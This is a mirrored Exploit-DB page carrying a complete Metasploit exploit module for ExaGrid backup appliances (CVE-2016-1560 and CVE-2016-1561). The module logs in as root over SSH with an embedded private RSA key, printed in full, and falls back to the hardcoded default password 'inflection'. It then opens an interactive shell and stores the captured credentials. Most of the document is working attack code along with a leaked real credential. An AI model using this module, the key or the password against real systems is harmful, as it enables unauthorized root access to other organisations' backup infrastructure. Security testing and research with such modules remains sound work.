ExaGrid – Known SSH Key and Default Password (Metasploit)

  • 作者: Metasploit
    日期: 2016-04-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41680/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    require 'net/ssh'
    
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Auxiliary::Report
    include Msf::Exploit::Remote::SSH
    
    def initialize(info = {})
    super(update_info(info, {
    'Name'=> 'ExaGrid Known SSH Key and Default Password',
    'Description' => %q{
    ExaGrid ships a public/private key pair on their backup appliances to
    allow passwordless authentication to other ExaGrid appliances.Since
    the private key is easily retrievable, an attacker can use it to gain
    unauthorized remote access as root. Additionally, this module will
    attempt to use the default password for root, 'inflection'.
    },
    'Platform'=> 'unix',
    'Arch'=> ARCH_CMD,
    'Privileged'=> true,
    'Targets' => [ [ "Universal", {} ] ],
    'Payload' =>
    {
    'Compat'=> {
    'PayloadType'=> 'cmd_interact',
    'ConnectionType' => 'find',
    },
    },
    'Author'=> ['egypt'],
    'License' => MSF_LICENSE,
    'References'=>
    [
    [ 'CVE', '2016-1560' ], # password
    [ 'CVE', '2016-1561' ], # private key
    [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/04/07/r7-2016-04-exagrid-backdoor-ssh-keys-and-hardcoded-credentials' ]
    ],
    'DisclosureDate' => "Apr 07 2016",
    'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
    'DefaultTarget' => 0
    }))
    
    register_options(
    [
    # Since we don't include Tcp, we have to register this manually
    Opt::RHOST(),
    Opt::RPORT(22)
    ], self.class
    )
    
    register_advanced_options(
    [
    OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
    OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
    ]
    )
    
    end
    
    # helper methods that normally come from Tcp
    def rhost
    datastore['RHOST']
    end
    def rport
    datastore['RPORT']
    end
    
    def do_login(ssh_options)
    begin
    ssh_socket = nil
    ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
    ssh_socket = Net::SSH.start(rhost, 'root', ssh_options)
    end
    rescue Rex::ConnectionError
    return
    rescue Net::SSH::Disconnect, ::EOFError
    print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
    return
    rescue ::Timeout::Error
    print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
    return
    rescue Net::SSH::AuthenticationFailed
    print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
    print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
    return
    end
    
    if ssh_socket
    
    # Create a new session from the socket, then dump it.
    conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash -i', true)
    ssh_socket = nil
    
    return conn
    else
    return false
    end
    end
    
    # Ghetto hack to prevent the shell detection logic from hitting false
    # negatives due to weirdness with ssh sockets. We already know it's a shell
    # because auth succeeded by this point, so no need to do the check anyway.
    module TrustMeItsAShell
    def _check_shell(*args)
    true
    end
    end
    
    def exploit
    payload_instance.extend(TrustMeItsAShell)
    factory = ssh_socket_factory
    
    ssh_options = {
    auth_methods: ['publickey'],
    config: false,
    use_agent: false,
    key_data: [ key_data ],
    port: rport,
    proxy: factory,
    non_interactive:true
    }
    ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']
    
    conn = do_login(ssh_options)
    
    unless is_success?(conn, true)
    ssh_options[:auth_methods] = ['password']
    ssh_options[:password] = 'inflection'
    ssh_options.delete(:key_data)
    conn = do_login(ssh_options)
    is_success?(conn, false)
    end
    end
    
    def is_success?(conn,key_based)
    if conn
    print_good "Successful login"
    service_data = {
    address: rhost,
    port: rport,
    protocol: 'tcp',
    service_name: 'ssh',
    workspace_id: myworkspace_id,
    }
    credential_data = {
    username: 'root',
    private_type: ( key_based ? :ssh_key : :password ),
    private_data: ( key_based ? key_data : 'inflection' ),
    origin_type: :service,
    module_fullname: fullname,
    }.merge(service_data)
    
    core = create_credential(credential_data)
    login_data = {
    core: core,
    last_attempted: Time.now,
    }.merge(service_data)
    
    create_credential_login(login_data)
    
    handler(conn.lsock)
    true
    else
    false
    end
    end
    
    def key_data
    <<EOF
    -----BEGIN RSA PRIVATE KEY-----
    MIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10
    hIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa
    E1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA
    GSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ
    BWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg
    AciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y
    iYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs
    Ry45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj
    QAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz
    ebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG
    XLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk
    86DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y
    x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg==
    -----END RSA PRIVATE KEY-----
    EOF
    end
    
    end